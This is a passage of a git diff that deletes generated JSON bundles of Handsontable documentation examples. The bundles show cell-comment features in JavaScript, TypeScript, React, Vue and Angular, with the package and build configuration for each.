\"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n
    \n
    \n
    \n \n
    \n {{ output }}`,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['Update API docs', 'Ana García', 'In progress'],\n ['Deploy hotfix', 'James Okafor', 'Blocked'],\n ['Review pull requests', 'Li Wei', 'Done'],\n ['Plan Q3 roadmap', 'Maria Santos', 'In progress'],\n ['Refactor auth module', 'David Kim', 'In review'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 1, col: 2, comment: { value: 'Waiting on infrastructure approval.' } },\n { row: 3, col: 1, comment: { value: 'Reassign if capacity is tight.' } },\n { row: 4, col: 0, comment: { value: 'Blocked on the security review.' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n output = '';\n\n listComments(): void {\n const hot = this.hotTable?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n const found: string[] = [];\n\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta['comment'] as { value?: string } | undefined;\n\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n\n this.output = found.length > 0 ? found.join('\\n') : 'No comments found.';\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example6.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example5.js.json deleted file mode 100644 index c8ed52c6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example5.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142],\n ['USB-C cable', 67],\n ['Mechanical keyboard', -5],\n ['Laptop stand', 38],\n ['HDMI adapter', 210],\n ],\n colHeaders: ['Product', 'Stock'],\n rowHeaders: true,\n comments: true,\n columns: [\n {},\n {\n type: 'numeric',\n validator(value, callback) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ],\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate(isValid, value, row, prop) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n }\n else {\n comments.removeCommentAtCell(row, column);\n }\n },\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit() {\n this.validateCells();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example5.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example5.ts.json deleted file mode 100644 index ce7ac1e1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142],\n ['USB-C cable', 67],\n ['Mechanical keyboard', -5],\n ['Laptop stand', 38],\n ['HDMI adapter', 210],\n ],\n colHeaders: ['Product', 'Stock'],\n rowHeaders: true,\n comments: true,\n columns: [\n {},\n {\n type: 'numeric',\n validator(value: any, callback: (valid: boolean) => void) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ],\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate(isValid, value, row, prop) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n } else {\n comments.removeCommentAtCell(row, column);\n }\n },\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit() {\n this.validateCells();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example5.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example6.js.json deleted file mode 100644 index 39657e48..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example6.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Comments · Read all comments programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example6');\nconst hot = new Handsontable(container, {\n data: [\n ['Update API docs', 'Ana García', 'In progress'],\n ['Deploy hotfix', 'James Okafor', 'Blocked'],\n ['Review pull requests', 'Li Wei', 'Done'],\n ['Plan Q3 roadmap', 'Maria Santos', 'In progress'],\n ['Refactor auth module', 'David Kim', 'In review'],\n ],\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 1, col: 2, comment: { value: 'Waiting on infrastructure approval.' } },\n { row: 3, col: 1, comment: { value: 'Reassign if capacity is tight.' } },\n { row: 4, col: 0, comment: { value: 'Blocked on the security review.' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconst button = document.querySelector('#list-comments');\nconst output = document.querySelector('#comments-output');\nbutton.addEventListener('click', () => {\n const found = [];\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta.comment;\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n output.textContent = found.length > 0 ? found.join('\\n') : 'No comments found.';\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example6.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example6.ts.json deleted file mode 100644 index e8dd8aa4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Comments · Read all comments programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['Update API docs', 'Ana García', 'In progress'],\n ['Deploy hotfix', 'James Okafor', 'Blocked'],\n ['Review pull requests', 'Li Wei', 'Done'],\n ['Plan Q3 roadmap', 'Maria Santos', 'In progress'],\n ['Refactor auth module', 'David Kim', 'In review'],\n ],\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 1, col: 2, comment: { value: 'Waiting on infrastructure approval.' } },\n { row: 3, col: 1, comment: { value: 'Reassign if capacity is tight.' } },\n { row: 4, col: 0, comment: { value: 'Blocked on the security review.' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst button = document.querySelector('#list-comments')!;\nconst output = document.querySelector('#comments-output')!;\n\nbutton.addEventListener('click', () => {\n const found: string[] = [];\n\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta.comment as { value?: string } | undefined;\n\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n\n output.textContent = found.length > 0 ? found.join('\\n') : 'No comments found.';\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example6.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example5.tsx.json deleted file mode 100644 index 380dd36e..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example5.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n void) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ]}\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate={function (this: Handsontable, isValid, value, row, prop) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n } else {\n comments.removeCommentAtCell(row, column);\n }\n }}\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit={function (this: Handsontable) {\n this.validateCells();\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example5.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example6.tsx.json deleted file mode 100644 index 5f8e13dd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example6.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Comments · Read all comments programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const [output, setOutput] = useState('');\n\n const listComments = () => {\n const hot = hotRef.current?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n const found: string[] = [];\n\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta.comment as { value?: string } | undefined;\n\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n\n setOutput(found.length > 0 ? found.join('\\n') : 'No comments found.');\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n {output}\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/comments/react/example6.tsx","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example5.vue.json deleted file mode 100644 index 6cae66aa..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example5.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example5.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example6.vue.json deleted file mode 100644 index 194d6034..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example6.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Comments · Read all comments programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/comments/vue/example6.vue","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example1.ts.json deleted file mode 100644 index c82bd938..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n 